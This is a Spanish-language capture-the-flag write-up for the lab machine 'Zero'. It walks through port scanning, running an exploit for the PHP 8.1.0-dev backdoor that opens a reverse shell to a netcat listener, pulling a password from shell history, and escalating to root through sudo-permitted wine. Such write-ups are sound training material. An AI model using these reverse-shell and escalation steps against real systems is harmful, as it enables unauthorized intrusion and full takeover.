VulNyx - Zero

logo

  • Backdoor Remote Code Execution
  • Leakage Credentials Information
  • Abuse Wine Binary

Escaneo de puertos

❯ nmap -p- -v -T5 -n 192.168.1.56

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

Escaneo de servicios

❯ nmap -sVC -v -p 22,80,8080 192.168.1.56

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0e624fb9eb07a1abdf7b185237fb16f (RSA)
|   256 99c87431451058b0cecc63b47a82573d (ECDSA)
|_  256 60da3e3138fab549ab48c3432c9fd132 (ED25519)
80/tcp   open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.56 (Debian)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
8080/tcp open  http    PHP cli server 5.5 or later (PHP 8.1.0-dev)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

En el puerto 80 hay un servidor Apache/2.4.56 que pone lo siguiente:

http

En el puerto 8080 hay un servidor PHP/8.1.0-dev con el mismo texto.

httpphp

Buscando en internet con la palabra clave PHP 8.1.0-dev he encontrado este exploit.

❯ python3 revshell_php_8.1.0-dev.py http://192.168.1.56:8080 192.168.1.18 1234

Obtengo la shell y me doy cuenta de que estoy dentro de un contenedor.

❯ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.56] 46088
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@6ad9beefaa2d:/var/www/html#id
uid=0(root) gid=0(root) groups=0(root)

Con el comando history encuentro un usuario y su contraseña.

root@6ad9beefaa2d:/var/www/html# history
history
    1  sshpass -p 'L************4' ssh liam@127.0.0.1

Me conecto al sistema como usuario liam.

❯ ssh liam@192.168.1.56
liam@192.168.1.56's password: 
Linux zero 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64
liam@zero:~$ id
uid=1000(liam) gid=1000(liam) grupos=1000(liam)

Enumero permisos de sudo.

liam@zero:~$ sudo -l
Matching Defaults entries for liam on zero:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User liam may run the following commands on zero:
    (root) NOPASSWD: /usr/bin/wine

Obtengo el root de la siguiente forma.

liam@zero:~$ sudo wine cmd.exe
Microsoft Windows 6.1.7601

Z:\home\liam>cd /root

Z:\root>echo %USERNAME%
root

Z:\root>hostname
ZERO

Y con esto ya tenemos resuelta la máquina Zero.

Saludos!